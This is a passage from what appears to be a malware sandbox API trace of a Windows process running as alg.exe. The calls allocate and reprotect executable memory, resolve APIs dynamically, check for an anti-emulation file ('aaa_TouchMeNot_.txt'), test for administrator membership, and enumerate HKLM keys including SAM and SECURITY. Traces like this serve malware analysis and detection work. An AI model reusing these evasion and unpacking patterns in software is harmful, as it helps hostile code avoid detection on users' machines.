cht=0x353) returned 0 [0179.416] CloseClipboard () returned 0 [0179.416] CoUninitialize () [0179.416] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0179.417] ReleaseMutex (hMutex=0xa0) returned 0 [0179.417] CloseHandle (hObject=0xa0) returned 1 [0179.417] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0179.417] GetCommState (in: hFile=0x3b268c, lpDCB=0x22f850 | out: lpDCB=0x22f850) returned 0 [0179.417] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x22f84c, pmr=0x22f838, cht=0x353) returned 0 [0179.417] CloseClipboard () returned 0 [0179.417] CoUninitialize () [0179.417] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0179.417] ReleaseMutex (hMutex=0xa0) returned 0 [0179.417] CloseHandle (hObject=0xa0) returned 1 [0179.417] GetLocalTime (in: lpSystemTime=0x22faec | out: lpSystemTime=0x22faec*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x34, wMilliseconds=0x2c9)) [0179.418] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x22f56c | out: ProcedureAddress=0x22f56c*=0x77011856) returned 0x0 [0179.418] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x300000 [0179.530] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x22f56c | out: ProcedureAddress=0x22f56c*=0x77011856) returned 0x0 [0179.530] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x110000 [0179.531] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x22f604 | out: ProcedureAddress=0x22f604*=0x770149d7) returned 0x0 [0179.531] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x22f604 | out: ProcedureAddress=0x22f604*=0x77011222) returned 0x0 [0179.531] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x22f604 | out: ProcedureAddress=0x22f604*=0x77011856) returned 0x0 [0179.531] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x22f604 | out: ProcedureAddress=0x22f604*=0x7701435f) returned 0x0 [0179.531] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0179.531] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0179.531] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0179.531] VirtualProtect (in: lpAddress=0x1360000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x22f6b8 | out: lpflOldProtect=0x22f6b8*=0x2) returned 1 [0179.542] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0179.545] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0179.545] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0179.545] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0179.545] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0180.080] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.093] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xf50000 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x104) returned 0xf507d0 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf508e0 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50968 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf509f0 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50a78 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50b00 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50b88 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50c10 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50c98 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50d20 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50da8 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50e30 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50eb8 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50f40 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf50fc8 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf51050 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x80) returned 0xf510d8 [0180.149] RtlAllocateHeap (HeapHandle=0xf50000, Flags=0x8, Size=0x400) returned 0xf51160 [0180.149] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x490000 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x4907d0 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x490858 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x4908e0 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x184) returned 0x490968 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490af8 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490b40 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490b88 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490bd0 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490c18 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490c60 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ca8 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490cf0 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490d38 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490d80 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490dc8 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490e10 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490e58 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ea0 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490ee8 [0180.150] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490f30 [0180.150] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22f200, nSize=0x1000 | out: lpFilename="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe")) returned 0x1b [0180.152] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x490f78 [0180.152] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2c) returned 0x49b828 [0180.159] GetVersionExW (in: lpVersionInformation=0x22f820*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x22f820*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0180.159] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x22f808 | out: Wow64Process=0x22f808) returned 1 [0180.159] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x22f7e4 | out: TokenHandle=0x22f7e4*=0xa0) returned 1 [0180.159] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x22f7e0 | out: TokenInformation=0x0, ReturnLength=0x22f7e0) returned 0 [0180.159] GetLastError () returned 0x7a [0180.159] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x140) returned 0x49b860 [0180.159] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x49b860, TokenInformationLength=0x104, ReturnLength=0x22f7e0 | out: TokenInformation=0x49b860, ReturnLength=0x22f7e0) returned 1 [0180.159] AllocateAndInitializeSid (in: pIdentifierAuthority=0x22f7f0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x22f7e8 | out: pSid=0x22f7e8*=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0180.159] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0180.160] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0180.160] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x34, [5]=0x7))) returned 0 [0180.160] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0180.160] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0180.160] EqualSid (pSid1=0x5c2830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x49b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0180.160] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0180.160] NtClose (Handle=0xa0) returned 0x0 [0180.160] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49b860 [0180.161] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49b8a8 [0180.162] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x280) returned 0x49b930 [0180.162] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0180.169] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x49bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.169] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x49bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0180.169] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0180.169] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.170] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x49bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.170] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x49bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.170] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.170] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x49bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bc58) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bca0) returned 1 [0180.170] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.170] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0xa0) returned 0x0 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x184) returned 0x49d040 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bca0 [0180.170] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bc58 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bce8 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bd30 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bd78 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bdc0 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be08 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be50 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49be98 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bee0 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bf28 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bf70 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49bfb8 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c000 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c048 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c090 [0180.171] RegCloseKey (hKey=0x80000002) returned 0x0 [0180.171] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.171] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0180.171] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.171] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0180.171] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0180.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0180.172] RtlAllocateHeap (HeapHandle=0x490000, 